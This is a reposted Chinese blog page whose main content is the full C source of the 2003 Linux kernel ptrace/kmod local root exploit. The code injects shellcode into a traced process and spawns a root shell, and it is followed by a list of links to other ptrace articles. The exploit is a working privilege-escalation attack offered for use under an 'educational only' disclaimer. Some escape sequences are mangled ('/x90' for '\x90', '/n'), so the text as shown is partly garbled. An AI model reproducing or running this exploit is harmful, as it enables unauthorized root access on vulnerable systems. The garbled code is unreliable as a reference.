Ptrace Exploit Code

转载 2007年10月11日 21:44:00
Exploit:
/*
 * Linux kernel ptrace/kmod local root exploit
 *
 *
 *
 * Should work under all current 2.2.x and 2.4.x kernels.
 *
 * I discovered this stupid bug independently on January 25, 2003, that
 * is (almost) two month before it was fixed and published by Red Hat
 * and others.
 *
 * Wojciech Purczynski <cliph@isec.pl>
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 *
 * (c) 2003 Copyright by iSEC Security Research
 */

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
 "/x90/x90/xeb/x1f/xb8/xb6/x00/x00"
 "/x00/x5b/x31/xc9/x89/xca/xcd/x80"
 "/xb8/x0f/x00/x00/x00/xb9/xed/x0d"
 "/x00/x00/xcd/x80/x89/xd0/x89/xd3"
 "/x40/xcd/x80/xe8/xdc/xff/xff/xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
 perror(msg);
 kill(parent, SIGKILL);
 kill(child, SIGKILL);
 kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
 char buf[MAXPATHLEN + CODE_SIZE];
 unsigned long * src;
 int i, len;

 memcpy(buf, cliphcode, CODE_SIZE);
 len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
 if (len == -1)
  fatal("[-] Unable to read /proc/self/exe");

 len += CODE_SIZE + 1;
 buf[len] = '/0';
 
 src = (unsigned long*) buf;
 for (i = 0; i < len; i += 4)
  if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
   fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
 struct user_regs_struct regs;

 if (gotchild++ == 0)
  return;
 
 fprintf(stderr, "[+] Signal caught/n");

 if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
  fatal("[-] Unable to read registers");
 
 fprintf(stderr, "[+] Shellcode placed at 0x%08lx/n", regs.eip);
 
 putcode((unsigned long *)regs.eip);

 fprintf(stderr, "[+] Now wait for suid shell.../n");

 if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
  fatal("[-] Unable to detach from victim");

 exit(0);
}

void sigalrm(int signo)
{
 errno = ECANCELED;
 fatal("[-] Fatal error");
}

void do_child(void)
{
 int err;

 child = getpid();
 victim = child + 1;

 signal(SIGCHLD, sigchld);

 do
  err = ptrace(PTRACE_ATTACH, victim, 0, 0);
 while (err == -1 && errno == ESRCH);

 if (err == -1)
  fatal("[-] Unable to attach");

 fprintf(stderr, "[+] Attached to %d/n", victim);
 while (!gotchild) ;
 if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
  fatal("[-] Unable to setup syscall trace");
 fprintf(stderr, "[+] Waiting for signal/n");

 for(;;);
}

void do_parent(char * progname)
{
 struct stat st;
 int err;
 errno = 0;
 socket(AF_SECURITY, SOCK_STREAM, 1);
 do {
  err = stat(progname, &st);
 } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
 
 if (err == -1)
  fatal("[-] Unable to stat myself");

 alarm(0);
 system(progname);
}

void prepare(void)
{
 if (geteuid() == 0) {
  initgroups("root", 0);
  setgid(0);
  setuid(0);
  execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
  fatal("[-] Unable to spawn shell");
 }
}

int main(int argc, char ** argv)
{
 prepare();
 signal(SIGALRM, sigalrm);
 alarm(10);
 
 parent = getpid();
 child = fork();
 victim = child + 1;
 
 if (child == -1)
  fatal("[-] Unable to fork");

 if (child == 0)
  do_child();
 else
  do_parent(argv[0]);

 return 0;
}  

尝试绕过ptrace保护 不知道算不算成功

源码如下 #include int main() {     int i=0;     if(ptrace(PTRACE_TRACEME,0,0,0)     {         pr...
  • lixiangminghate
  • lixiangminghate
  • 2014年11月04日 20:55
  • 1255

调试器原理之ptrace调用学习

其实很早以前就对调试器技术感兴趣了。以前玩板子的时候用了JTAG,当时我觉得这东西好神奇。前面我下载了一份GDB源码,可惜弄了几天都没有看出门道。昨天瞄了一眼《开源应用程序架构》,不出意外的看到了GD...
  • cqu20093154
  • cqu20093154
  • 2014年11月26日 16:24
  • 946

ptrace的使用

ptrace的使用 分类: linux2012-07-24 18:26 1443人阅读 评论(0) 收藏 举报 structsignaluserkillmathlinux ...
  • pi9nc
  • pi9nc
  • 2014年06月05日 20:10
  • 3517

基于ARM的Ptrace

转:http://hi.baidu.com/harry_lime/item/cce5161e4af86d4a71d5e8ff 前面提到过打算研究一下基于ARM的Ptrace,并在Mobile上实现H...
  • zhangmiaoping23
  • zhangmiaoping23
  • 2014年01月06日 16:13
  • 2449

ptrace运行原理及使用详解

你想过怎么实现对系统调用的拦截吗?你尝试过通过改变系统调用的参数来愚弄你的系统kernel吗?你想过调试器是如何使运行中的进程暂停并且控制它吗? 你可能会开始考虑怎么使用复杂的kernel编程来达到...
  • edonlii
  • edonlii
  • 2013年03月25日 15:08
  • 15238

Android平台的 Ptrace, 注入, Hook 全攻略

Android平台上的Ptrace已经流行很久了,我记得最早的时候是LBE开始使用Ptrace在Android上做拦截,大概三年前我原来的同事yuki (看雪上的古河) 写了一个利用Ptrace注入的...
  • heikefangxian23
  • heikefangxian23
  • 2016年06月03日 16:25
  • 3012

ptrace运行原理及使用详解

你想过怎么实现对系统调用的拦截吗?你尝试过通过改变系统调用的参数来愚弄你的系统kernel吗?你想过调试器是如何使运行中的进程暂停并且控制它吗? 你可能会开始考虑怎么使用复杂的kernel编程来...
  • MiTuShuTong11
  • MiTuShuTong11
  • 2016年05月21日 10:08
  • 1683

linux之使用ptrace 跟踪多线程程序

1.ptrace 原型说明 #include long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *d...
  • earbao
  • earbao
  • 2016年05月31日 10:38
  • 1219

linux 3.5.4 ptrace源码分析分析(系列一)

ptrace是linux系统中为了调试专门设立的一种系统调用。要想调试调试一个进程,有两种方式: PTRACE_TRACEME和PTRACE_ATTACH。这两种方式的主要区别可以概括为: PTRAC...
  • shen332401890
  • shen332401890
  • 2013年12月13日 11:04
  • 2431

玩转ptrace(利用ptrace下断、单步调试、修改代码执行、代码注入等)

下面是转帖的内容,写的很详细。但是不同的linux发行版中头文件的路径和名称并不相同。如在某些发行版中就不存在,其中定义的变量出现在和中。 ===========================...
  • beyond702
  • beyond702
  • 2016年03月11日 15:58
  • 1392
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Ptrace Exploit Code
举报原因:
原因补充:

(最多只允许输入30个字)